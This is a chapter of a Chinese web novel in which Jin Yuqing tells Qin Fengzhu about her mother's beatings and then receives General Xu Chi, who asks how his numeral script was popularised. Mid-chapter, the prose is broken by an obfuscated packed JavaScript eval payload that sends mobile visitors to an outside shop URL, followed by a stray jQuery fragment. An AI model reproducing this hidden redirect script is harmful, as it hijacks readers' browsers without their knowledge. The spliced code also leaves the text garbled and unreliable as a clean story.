“因为太晚了,我回去晚了,我娘会打我!”金玉晴答得理所当然。
“你娘打你?”秦风竹有些疑惑,“你功夫这么好,你想躲的话,你娘还能打得着?”秦风竹忽然觉得,金玉晴家好像跟他们家不一样,但一时却说不准哪里不一样。
“我的功夫都是我娘教的,你说我娘打不打得着我?”说起这个,金玉晴也有些忧伤,“记得那年,我在村里爬树掏鸟蛋,被我娘发现了,我吓得从树上掉下来,幸好摔在软滩上,我还来不及哭两嗓子,我娘就提着弓来,先是给我一通检查,接着那弓就落在我身上……”
秦风竹十分同情地看向金玉晴,电石火光间,他知道了他们家和金玉晴家的不同了,“我们都是被爹追着打的,你倒好……”
话没说完,金玉晴就惊讶地接过话头,“你怎么知道我被我娘追着打?”
秦风竹未出口的话直接卡在了嗓子眼,他,他只是那么打个比方,“你还真的被你娘追着打?”
金玉晴狠狠点头,“可不是嘛,我娘追着我满村子跑。”
“你在村子里跑,难道不知道找个地方躲一躲吗?”他被追着打的时候都会找个地方隐蔽一下的。
“我也想啊,可我每每拐了大弯,躲进某家院子或是草垛里,总有人会热情地去告诉我娘,或是状似无意地喊我一声!”想到这事,金玉晴还是忍不住气愤地握拳。
“啊?怎么会这样?你是不是平时得罪村里人了?”秦风竹上下打量了一番金玉晴,想到金玉晴总爱拿他不上学的事情说他,秦风竹忽然有些明白,金玉晴为什么满村子里都没个藏身之处了。
……
两人说着话,马车已经驶进了梧桐巷,在太傅府门口停下。
“姑娘,到家了!”春花提醒道。
金玉晴跳下马车,秦风竹也跟着跳下来,“那后来呢?”
金玉晴原本见已经到家,准备跟秦风竹告辞的,这会儿听他追问,她也确实正说到兴头上,两人便站在马车边继续说了起来……
巷子口,徐驰跳下马,自随从手中接过一个锦盒,朝太傅府走来,一眼便看见马车边说话的秦风竹和金玉晴。
他耳力本就挺好,这一世,来到这个陌生的时代,身边都是练武之人,再有定国将军府的武学资源加持,他比上一世更耳聪目明,金玉晴的感叹清晰地落入徐驰耳中。
“没办法,一个人太优秀了,总是招人嫉恨,我读书好,功夫也好,村里的小孩天天被他们父母耳提面命,你看看夫子家的金大力,你学学人家金大力,他们平时本就打不过我,再总被父母这么拿我对比,时间长了,那些孩子自然恨我入骨,所以,你知道为什么我被我娘追了了小半天,我都找不到藏身之地了吧?”
金玉晴说这话的时候,有骄傲,也有无奈,徐驰感受到金玉晴暗戳戳的显摆,心下有些好笑。
秦风竹直接笑出了声,“啊,原来你叫金大力啊,哈哈哈。”
徐驰故意放重了脚步朝二人走去,金玉晴和秦风竹一齐朝徐驰的方向看去。
看清来人是徐驰,秦风竹立刻道:“那就是徐策的叔叔,定国将军徐驰,老金,我们明日再见,我先撤了!”
说完,秦风竹朝车夫一个眼神,来不及等车夫调转车头,自己就先朝巷子里面逃也似的快步离开了。
看着秦风竹的马车追着秦风竹离去,金玉晴有些莫名,定国将军有那么恐怖吗?
“金姑娘?”
金玉晴回头看向徐驰,笑眯眯道:“徐叔叔好!”
徐叔叔?徐驰强忍着伸手摸摸脸的冲动,他有这么老吗?
可当他对上和金玉晴那和徐策一样稚嫩的脸庞,徐驰忽然又觉得自己一个活了两辈子的老头了,今天竟然突然莫名地矫情起来了。
或许是因为他现在这具身体今年也才十五岁吧,除了徐策,还从未有别的小孩叫过他“徐叔叔”。
别说叫了,但凡知道他是谁,哪个小孩不是远远看见他就有多远跑多远的?
就如方才大理寺卿家的那孩子一样。
像金玉晴这样,敢这么面不改色站在他跟前说话的小孩子,还是头一个,不过听她方才说的那些,徐驰只觉得,这小姑娘好像并不比徐策好管,看来,这金太傅果然是育儿高手,他今天来对了。
于是,徐驰朝金玉晴微笑点头,“金姑娘好,你爹在家吗?”
金玉晴老实交待,“我才刚回来,我也不知道我爹在不在家,徐叔叔是来找我爹有事?”
徐驰点头,“嗯,有点事情想跟你爹讨教。”
金玉晴点点,朝徐驰招手道:“那徐叔叔进府坐会儿吧,这个时辰,我爹要是没回府,也是在回府的路上了。”
徐驰点头。
金玉晴上前拍门,“王伯!”
春花忙抱着东西上前,道:“姑娘,奴婢来吧。”
金玉晴摆摆手,“我拍也一样,你拿好东西就成。”
春花有些手忙脚乱地抱着一堆笔墨纸砚,老实地应道:“是,姑娘。”
徐驰瞥了一眼散落的东西,心中有些疑惑,他要是没记错,这金家的小朋友应该是要年后才能进皇家学院的,难不成就这小半年的功夫,金太傅还给她报了外面的私塾?
“王伯,我回来了。”金玉晴扯着大门的大铜圈再次用力扣了扣。
“来了!”屋里响起王琦的声音,很快大门就开了。
王琦一眼就看见了金玉晴身后的徐驰,忙行礼道:“见过徐将军。”低头行礼的瞬间,朝金玉晴投去疑惑的眼神。
金玉晴道:“徐叔叔是来找我爹的,我爹回来了没?”
徐叔叔?姑娘什么时候和徐将军这么熟了?王琦压下心中的疑惑,道:“老爷还没回来,估摸着,也快回来了,徐将军先进府里稍坐会儿吧。”
王琦忙侧身让金玉晴和徐驰进府。
进了府,金玉晴就对春花道:“春花,你将东西放回我院子里,”
王琦引着徐驰往书房方向走去,抱歉道:“有劳徐将军去我们老爷书房坐会儿,我们夫人也刚出去,老奴这就让人先给将军送壶茶,招待不周,还望徐将军莫怪。”
徐驰忙道:“是我突然造访,叨扰了。”
金玉晴听了王琦的话,一个急转身扭身朝徐驰走去,笑着道:“既然我爹和我娘都没在家,那我陪徐将军坐会儿,一起喝茶等我爹吧?”
徐驰意外,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14321281|146908||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没想到金太傅家的这个小朋友,竟然还知道待客?笑着道:“那就多谢金姑娘了。”
“客气!”金玉晴摆摆手,十分潇洒道,那模样,像极了江湖儿女。
徐驰心中只觉得有趣,他只听说金太傅年轻的时候也是个十分洒脱的,但是他认识的金太傅,一直都是一板一眼,十分严肃,没想到,竟然可以教出这样的女儿。
金玉晴走在徐驰的侧前方,金太傅的书房是个单独的小院子,院子不大,里头就是一间主屋,主屋两侧各一个小房间,两个房间都与主屋是连通的。
金太傅书房的主屋,是用来待客的,只是,他们家搬来月余,徐驰还是头一个来太傅府的。
金玉晴过书房门槛的时候直接蹦了进去,袖子一甩,先前装进袖袋里的那张写了两行字的纸便掉落出来。
金玉晴毫无察觉,继续往里走去。
徐驰在金玉晴身后,在那张折好的纸落地之前,眼疾手快地一把接住,“金姑娘,东西掉了。”
金玉晴扭头便见徐驰手里捏着那张折好的纸,一时间有些反应不过来,拧眉想了一瞬,这才想起那是什么。
想到那种“一二三”是徐驰前些年所创,便笑着问道:“徐将军先请坐,我还有事想请教徐将军。”
徐驰捏着纸的手一顿,这怎么又从徐叔叔变成徐将军了?
见金玉晴没有伸手接回那折纸的意思,徐驰也没有再递,落座后便将那折纸放在手边的茶几上。
“不知金姑娘有什么事情问我?”徐驰挺好奇,这小朋友能有什么事情问他,莫不是这孩子对带兵打仗有兴趣?
金玉晴在茶几另一边坐下,道:“徐将军,我想知道,你当年是怎么将这套数字在大夏推广开的?大概用了多久时间?”
金玉晴一边说,一边将茶几上那张纸展开给徐驰看。说这话的时候,金玉晴脸上是与她年龄不符的认真与郑重。
徐驰看见那张纸上墨色微浅,字迹凌乱的纸,第一反应是:金家小朋友这字,竟然连徐策的字都赶不上?
嘴上倒是丝毫不耽误,“金姑娘怎么突然问这个?”
就金玉晴这字,看着绝对不像是爱读书的孩子,不爱读书的孩子,问这问题,莫不是想他再给弄出别的简单的字?
徐驰突然十分佩服自己的脑回路,不过还是确认般问道:“这是金姑娘写的字?”
金玉晴朝纸上的字迹撇撇嘴,“我要是把字写成这鬼样子,我爹非得打死我,省得我污了他聪明、厉害的名头。这是秦风竹写的。”
秦风竹?
因为家里有个徐策,徐驰倒是对京中这些同龄的熊孩子有所了解,这稀烂的字原来是那个发誓不进学堂的秦风竹写的,徐驰也就不意外了。
“最近我闲着没事做,便去了育婴堂教那边的孩子们识字,我教的是徐将军的这套字,秦风竹说,这是徐将军创的,现在刚好碰上,我便想来问问,我想知道一套新东西,需要怎么让大家接受。”金玉晴简明扼要道。
“大约五六年才让大家接受吧,金姑娘这是有什么新东西想推广?”徐驰看向金玉晴的眼中写满了疑惑,同样是熊孩子,怎么别人家的孩子就是比他家的徐策想得多呢?